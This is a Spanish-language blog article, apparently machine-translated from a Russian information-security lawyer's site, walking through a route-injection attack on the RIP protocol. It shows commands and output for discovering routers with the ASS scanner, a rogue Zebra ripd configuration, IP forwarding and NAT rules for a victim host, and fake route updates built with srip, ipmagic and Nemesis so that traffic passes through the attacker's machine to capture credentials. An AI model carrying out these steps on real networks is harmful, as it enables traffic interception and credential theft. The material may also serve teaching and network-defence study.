Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Rutas falsas RIP.

Обновлено 20.09.2025 07:35

 

Oleg Petukhov, abogado en el campo del derecho internacional y la protección de datos personales, especialista en información seguridad, protección de la información y datos personales.

Canal de Telegram: https://t.me/protecciondelainformacion1

Grupo de Telegramas: https://t.me/protecciondelainformacion2

Sitio web: https://legascom.ru

Correo electrónico: online@legascom.ru

 

#proteccióndelainformación #seguridaddelainformación

El protocolo RIP utiliza el puerto 520 y UDP para funcionar. Los enrutadores "escuchan" el tráfico en un puerto determinado. Por lo tanto, cualquier paquete de formato apropiado será aceptado y procesado por el enrutador. En el caso de que la autenticación RIP no se utilice o la contraseña esté vacía, el atacante podrá transmitir datos de ruta incorrectos a este enrutador, redirigiendo así el tráfico de red a través de los nodos controlados por el atacante.

Lo primero que un atacante debe hacer para lanzar su ataque es identificar los enrutadores que usan el protocolo RIP. Esto se puede hacer de varias maneras.

1. Puede escuchar el tráfico con un sniffer. Cada 30 segundos, los enrutadores intercambian información de ruta. También se intercambia cuando se cambia la topología. Ya hemos implementado este ataque en las secciones anteriores dedicadas a ARP-spoofing. Solo les recuerdo que para implementarlo, el atacante necesita estar en la red local.

2. Además, un atacante puede escanear la red en busca de nodos con un puerto UDP 520 abierto.

3. La mejor solución, y a menudo la única posible, es utilizar un analizador de lotes especializado que le permita interceptar y analizar las actualizaciones de las tablas de ruta.

Esta herramienta especializada es una utilidad con el nombre simple ASS (Autonomous system scanner). Esta utilidad le permite realizar búsquedas activas y pasivas de enrutadores y protocolos de enrutamiento. En el proceso de escaneo, ASS funciona en modo activo, al final pasa a pasivo, que solo escucha el tráfico. Esta utilidad no solo Admite RIP, sino también otros protocolos de enrutamiento, por lo que volveremos a ella repetidamente en el futuro.

Aquí hay un ejemplo de trabajo en modo pasivo:

root@kali : # ./ass -i eth0

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

passive listen ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.100 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Y así la utilidad funciona en modo activo:

root@kali : # ./ass -i eth0 -A -v

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

Scanning

+ scanning IRDP ...

+ scanning RIv1 ...

+ scanning RIPv2 ...

+ scanning IGRP ...

+ waiting for EIGRP HELLOs (12s) ...

Continuing capture ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.100 (RIPv1 RIPv2 )

RIP1 [ n/a ] 0.0.0.0 (metric 1)

RIP1 [ n/a ] 192.168.0.1 (metric 1)

RIP1 [ n/a ] 192.168.66.9 (metric 1)

RIP1 [ n/a ] 192.168.66.105 (metric 1)

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Los ejemplos anteriores muestran el intercambio de información de enrutamiento interceptado entre dos enrutadores 192.168.66.100 y 192.168.66.101. No se utiliza la autenticación, de lo contrario se especificaría un método como md5.

En el ejemplo siguiente, el router IP es el router de destino cuyo tráfico se escucha, y con la clave –P se indica el número de versión del protocolo RIP 1 o 2.

root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>

Por lo tanto, hemos identificado con éxito los enrutadores que utilizan el protocolo RIP, su versión, así como el método de autenticación. Ahora puedes intentar un ataque. En el caso más simple, puede redirigir el tráfico a través de su enrutador para interceptar las credenciales de los usuarios. Al mismo tiempo, nos olvidamos del límite de enrutadores 15 entre dos nodos de la red.

Para llevar a cabo un ataque, primero debe configurar su enrutador falso y luego intercambiar información de ruta con los enrutadores vecinos.

Para hacer esto, debe realizar la configuración adecuada en nuestro enrutador. Aquí hay un ejemplo de archivo de configuración que utiliza el protocolo RIP versión 2 y una clave de autenticación.

!

! Zebra configuration saved from vty

! 2005/08/12 23:44:33

!

hostname legitimate.ripd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

service advanced-vty

service password-encryption

!

!

key chain dmz_auth

key 1

key-string secret_key

!

interface eth0

description DMZ_network

ip rip authentication mode md5 auth-length old-ripd

ip rip authentication key-chain dmz_auth

!

router rip

version 2

redistribute connected

network 192.168.20.0/24

!

line vty

exec-timeout 30 0

!

A continuación, debe configurar el tráfico de reenvío a través de su host. Esto se puede hacer de la siguiente manera:

root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward

La siguiente acción preparatoria será configurar la traducción de direcciones con Network Address Translation (NAT). Esto es necesario para garantizar que los paquetes que se dirigen hacia o desde la máquina de la víctima lleguen a su destino final, en pocas palabras, no se pierdan.

root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP

Antes de iniciar un ataque, debe establecer exactamente a qué enrutador desea enviar una actualización RIP falsa de la información de ruta. El destinatario debe ser una dirección unicast, no multicast, ya que en este caso el ataque es mucho más fácil de detectar.

En el siguiente paso, creamos un registro de ruta:

router rip

version 2

default-information originate

neighbor 192.168.20.103

route 192.168.66.9/32

Ahora, el tráfico que sale de la red 192.168.77.0/24 a la máquina 192.168.66.9 pasará por el enrutador del atacante.

Ahora, después de un anuncio similar de la red 192.168.77.0/24, aparecerán nuevas rutas en las tablas de enrutamiento RIP. Es cierto que la ruta más corta sigue siendo la ruta entre dos enrutadores legales. Sin embargo, si un atacante de alguna manera (por ejemplo, a través de "inundación") puede deshabilitar un canal legítimo, todo el tráfico pasará a través de un enrutador falso.

Para finalizar el tema de las rutas falsas, considere algunas utilidades más para generar actualizaciones de RIP de forma regular. Un ejemplo de una de estas utilidades es srip:

root@kali : # srip <RIP version> -n <netmask> <malicious router IP>

<targeted RIP router IP> <destination host or network IP> <metric>

donde < malicious router IP > es la máquina a través de la cual se planea redirigir el tráfico, es decir, el host del atacante; <destination host or network IP> es la dirección a la que se transfieren los datos; <metric> – generalmente se usa el valor 1.

Para realizar un ajuste más fino de las actualizaciones RIP, puede usar la utilidad ipmagic del proyecto IP Sorcery.

Aquí hay un ejemplo de todas las opciones de esta utilidad:

root@kali : #./ipmagic

Usage: ./ipmagic [options]

IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]

-is: source host or address def. 127.0.0.1

-id: source destination or address def. 127.0.0.1

-ih: IP header length def. 5

-iv: IP version def. 4

-il: Time-to-Live def. 64

-it: Type-of-Service def. 0

-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]

-ii: IP packet ID for fragmentation def. 0

-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options

<skip>

UDP: [-us|-ud|-ul]

-us: UDP source port def. rand()

-ud: UDP destination port def. 161

-ul: UDP length

RIP: [-uR|-uRc|-uRv]

-uR: Send default RIP packet to port 520

-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ

For a list of RIP commands run program with -h rip

-uRv: RIP version [1|2] def. 2

Note: Entry Tables should be used with response packets[RS|TS|US]

-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1

-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2

-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)

-uRm(1|2|etc.): RIP Entry table Metric

-uRr(1|2|etc.): RIP Entry table Route Tag

-uRe: Add default RIP Entry table to packet

root@kali : #./ipmagic -h rip

RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]

RS: Response Packet

RQ: Request Packet

TN: Trace On

TF: Trace Off

SR: Sun Reserved

TQ: Triggered Request

TR: Triggered Response

TA: Triggered Acknowledgement

UQ: Update Request

UR: Update Response

UA: Update Acknowledgment

Por último, otra herramienta útil para realizar ataques contra el protocolo de enrutamiento RIP es Nemesis. El conjunto de opciones de esta utilidad también es bastante rico.

root@kali : # nemesis rip help

RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

RIP usage:

rip [-v (verbose)] [options]

RIP options:

-c <RIP command>

-V <RIP version>

-r <RIP routing domain>

-a <RIP address family>

-R <RIP route tag>

-i <RIP route address>

-k <RIP network address mask>

-h <RIP next hop address>

-m <RIP metric>

-P <Payload file>

UDP options:

-x <Source port>

-y <Destination port>

IP options:

-S <Source IP address>

-D <Destination IP address>

-I <IP ID>

-T <IP TTL>

-t <IP TOS>

-F <IP fragmentation options>

-F[D],[M],[R],[offset]

-O <IP options file>

Data Link Options:

-d <Ethernet device name>

-H <Source MAC address>

-M <Destination MAC address>

Una desventaja importante de las herramientas descritas anteriormente es que no pueden enviar paquetes RIP usando autenticación. La salida puede ser un truco de autenticación, pero hablaremos de esto más adelante.